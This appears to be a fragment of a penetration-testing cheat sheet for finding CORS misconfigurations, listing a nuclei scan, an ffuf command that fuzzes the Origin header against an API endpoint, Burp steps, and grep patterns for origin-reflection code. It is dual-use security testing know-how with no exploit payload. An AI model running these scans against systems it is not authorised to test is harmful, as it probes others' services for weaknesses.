nuclei -u TARGET -tags cors
# ffuf origin fuzzing:
ffuf -u TARGET/api/user -H "Origin: FUZZ" -w origins.txt -mr "access-control-allow-origin"
# Burp:
# Repeater → add Origin header → observe ACAO in response
# Scanner → CORS misconfiguration checks (Active Scan)
# Manual grep for reflection patterns in source:
grep -rn "req.headers.origin\|request.headers\['origin'\]\|getHeader.*Origin" .
grep -rn "allowedOrigins\|corsOrigins\|whitelist.*origin" .